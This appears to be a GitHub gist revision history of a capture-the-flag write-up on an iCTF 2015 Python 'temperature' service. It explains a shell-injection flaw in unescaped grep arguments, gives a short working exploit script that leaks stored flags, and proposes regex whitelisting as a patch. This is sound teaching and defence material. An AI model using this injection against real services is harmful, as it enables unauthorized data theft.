Skip to content

Instantly share code, notes, and snippets.

@maxvt
Last active August 29, 2015 14:19

Revisions

  1. Max T revised this gist Apr 12, 2015. 1 changed file with 44 additions and 1 deletion.
    45 changes: 44 additions & 1 deletion writeup-ictf15-temperature.md
    Original file line number Diff line number Diff line change
    @@ -130,4 +130,47 @@ dangerous because, even though we want to check the location, it would match on
    regex allowed digits and forward-slash, we could simply submit the date as the location, and it would
    still match.

    Happy hacking!
    Happy hacking!

    Writing client
    --------------
    ```python
    from socket import *

    s = socket(AF_INET, SOCK_STREAM)
    s.connect(("localhost", 56098))
    i = s.recv(1024)
    print(i)
    s.send("2\n")
    i = s.recv(1024)
    print(i)
    s.send("2014/12/31\n")
    i = s.recv(1024)
    print(i)
    s.send("Toronto\n")
    i = s.recv(1024)
    print(i)
    s.send("-25.5F\n");
    i = s.recv(1024)
    print(i)
    ```

    Reading client
    --------------
    ```python
    from socket import *

    s = socket(AF_INET, SOCK_STREAM)
    s.connect(("localhost", 56098))
    i = s.recv(1024)
    print(i)
    s.send("1\n")
    i = s.recv(1024)
    print(i)
    s.send("2014/12/31\n")
    i = s.recv(1024)
    print(i)
    s.send("Miami\n")
    i = s.recv(1024)
    print(i)
    ```
  2. Max T revised this gist Apr 12, 2015. 1 changed file with 16 additions and 13 deletions.
    29 changes: 16 additions & 13 deletions writeup-ictf15-temperature.md
    Original file line number Diff line number Diff line change
    @@ -97,6 +97,7 @@ class Exploit(object):
    ```

    To patch, first recall the two rules of using shell calls from your code:

    1. Don't.
    2. If you must, whitelist the hell out of the parameters.

    @@ -105,26 +106,28 @@ doesn't pass, and do not call into shell.

    We'll use regular expressions, [so now we have two problems](http://regex.info/blog/2006-09-15/247). Just kidding.

    - The regex for date is: `^\d{4}/\d{2}/\d{2}$` (test at [regex101](https://regex101.com/#python))
    - The regex for location is unclear (what is allowed?) but from looking at inputs and a bit of reasoning,
    * The regex for date is: `^\d{4}/\d{2}/\d{2}$` (test at [regex101](https://regex101.com/#python))

    * The regex for location is unclear (what is allowed?) but from looking at inputs and a bit of reasoning,
    any Latin character, dash, and spaces would work. So change `build_command()` by wrapping a pair of
    quotes around the location `%s` and use `^[\w\s]+$` as the regex.
    - The reasonable regex for temperature would be `^\d+\.?\d*[CF]?$` but this would be overthinking it. Since

    * The reasonable regex for temperature would be `^\d+\.?\d*[CF]?$` but this would be overthinking it. Since
    the testing scripts use alphanumeric flags, `^\w+$` is better. This illustrates the danger of whitelisting too harshly.

    Are we good? Almost. Those regexes would match a part of a field as well; for example,
    submitting "A" as location would match "Antwerp". There was one exploit that tried that,
    submitting letters A through Z sequentially and looking for a hit. To prevent this, avoid matching
    parts of the location by including spaces in the `grep` call:
    Are we good? Almost. Those regexes would match a part of a field as well; for example,
    submitting "A" as location would match "Antwerp". There was one exploit that tried that,
    submitting letters A through Z sequentially and looking for a hit. To prevent this, avoid matching
    parts of the location by including spaces in the `grep` call:

    ```python
    ```python
    def build_command():
    return "cat neverguess | grep %s | grep \" %s \" | awk'{print $3}'"
    ```

    Are we good now? Yes, this would catch all the exploits I saw. As a final note, `grep \" %s \"` is still
    dangerous because, even though we want to check the location, it would match on any field. So if the location
    regex allowed digits and forward-slash, we could simply submit the date as the location, and it would
    still match.
    Are we good now? Yes, this would catch all the exploits I saw. As a final note, `grep \" %s \"` is still
    dangerous because, even though we want to check the location, it would match on any field. So if the location
    regex allowed digits and forward-slash, we could simply submit the date as the location, and it would
    still match.

    Happy hacking!
    Happy hacking!
  3. Max T created this gist Apr 12, 2015.
    130 changes: 130 additions & 0 deletions writeup-ictf15-temperature.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,130 @@
    This is a warmup-level challenge written in Python. The service opens a TCP socket on port 56098
    and listens for commands to store or read a temperature reading based on time and location.
    The data is stored into a single flat file.

    Simply interacting with the service over `telnet` would not work, as the service only attempts to read once
    and `telnet` sends a packet per character.
    The protocol is very easy to reconstruct by reading the source, though, and writing a small client
    to store and load data takes all of two minutes.

    This service was one of the first ones being exploited by many teams.

    The original source can be found [here](https://github.com/ucsb-seclab/ictf-framework/blob/master/services/temperature/temperature).

    Let's look at the interesting bits of the source:

    ```python
    def print(*args, **kwargs):
    __builtins__.print("Disabled")
    ```

    An attempt to use the `print` function will be thwarted by this. Comment out to bypass.

    ```python
    def build_command():
    fn = "satan"
    fn = fn.replace("s","r")
    fn = fn.replace("a","e")
    fn = fn.replace("t","v")
    fn = fn.replace("s","r")
    fn = fn.replace("n","n")
    fn = fn[::-1]
    fn += '\x67'
    fn += '\x75'
    fn += '\x65'
    fn += '\x73'
    fn += '\x73'
    cn = "dog"
    cn = cn.replace("d","c")
    cn = cn.replace("g","t")
    cn = cn.replace("o","a")
    cn2 = "\x67\x72\x65\x70"
    cn3 = "\x61\x77\x6B"
    command = " ".join((cn,fn,"|",cn2,"%s","|",cn2,"%s","|",cn3,"'{print $3}'"))
    return command
    ```

    Both this and `build_command2()` are basic attempts at obfuscation. Figuring out what exactly
    is happening is left as an exercise to the reader; noting there are no parameters and
    no external variables, we can simply print the output of each function before they return, and
    replace both functions with their plain-text outputs:

    ```python
    def build_command():
    return "cat neverguess | grep %s | grep %s | awk'{print $3}'"
    def build_command2():
    return "echo \" %s %s %s \" >> neverguess"
    ```

    Looking at the commands also yields the format of the file (space-delimited CSV) and a likely source of
    security bugs (unescaped parameters to shell commands). This is how the `neverguess` file might look like:

    ```text
    2014/12/31 Toronto -12F
    2014/12/31 Miami 105.1F
    ```

    The `handler` function returns the output of `build_command() % (date, location)` to read
    and executes `build_command2() % (date, location, temperature)` to write. The flag ID is the date;
    the location is unknown, and the temperature is the flag. To exploit the service, we want
    the second `grep` to return all matches instead of filtering by location (assuming there's only
    one unique date-temperature set).

    There are plenty of ways to do this. The only thing that won't work is the empty string - the
    pattern parameter to `grep` is mandatory. Either of `""`, `" "`, or `.` are good, simple choices.
    A simple exploit follows immediately:

    ```python
    import socket

    class Exploit(object):
    def execute(self, ip, port, flag_id):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    d = s.recv(1024)
    s.send("1\n")
    d = s.recv(1024)
    s.send(flag_id+"\n")
    d = s.recv(1024)
    s.send("\" \"\n")
    d = s.recv(1024)
    print(d)

    self.r = { 'FLAG': d.strip('\n') }

    def result(self):
    return self.r
    ```

    To patch, first recall the two rules of using shell calls from your code:
    1. Don't.
    2. If you must, whitelist the hell out of the parameters.

    After checking every parameter (on both write and read - why not?), abort the connection if it
    doesn't pass, and do not call into shell.

    We'll use regular expressions, [so now we have two problems](http://regex.info/blog/2006-09-15/247). Just kidding.

    - The regex for date is: `^\d{4}/\d{2}/\d{2}$` (test at [regex101](https://regex101.com/#python))
    - The regex for location is unclear (what is allowed?) but from looking at inputs and a bit of reasoning,
    any Latin character, dash, and spaces would work. So change `build_command()` by wrapping a pair of
    quotes around the location `%s` and use `^[\w\s]+$` as the regex.
    - The reasonable regex for temperature would be `^\d+\.?\d*[CF]?$` but this would be overthinking it. Since
    the testing scripts use alphanumeric flags, `^\w+$` is better. This illustrates the danger of whitelisting too harshly.

    Are we good? Almost. Those regexes would match a part of a field as well; for example,
    submitting "A" as location would match "Antwerp". There was one exploit that tried that,
    submitting letters A through Z sequentially and looking for a hit. To prevent this, avoid matching
    parts of the location by including spaces in the `grep` call:

    ```python
    def build_command():
    return "cat neverguess | grep %s | grep \" %s \" | awk'{print $3}'"
    ```

    Are we good now? Yes, this would catch all the exploits I saw. As a final note, `grep \" %s \"` is still
    dangerous because, even though we want to check the location, it would match on any field. So if the location
    regex allowed digits and forward-slash, we could simply submit the date as the location, and it would
    still match.

    Happy hacking!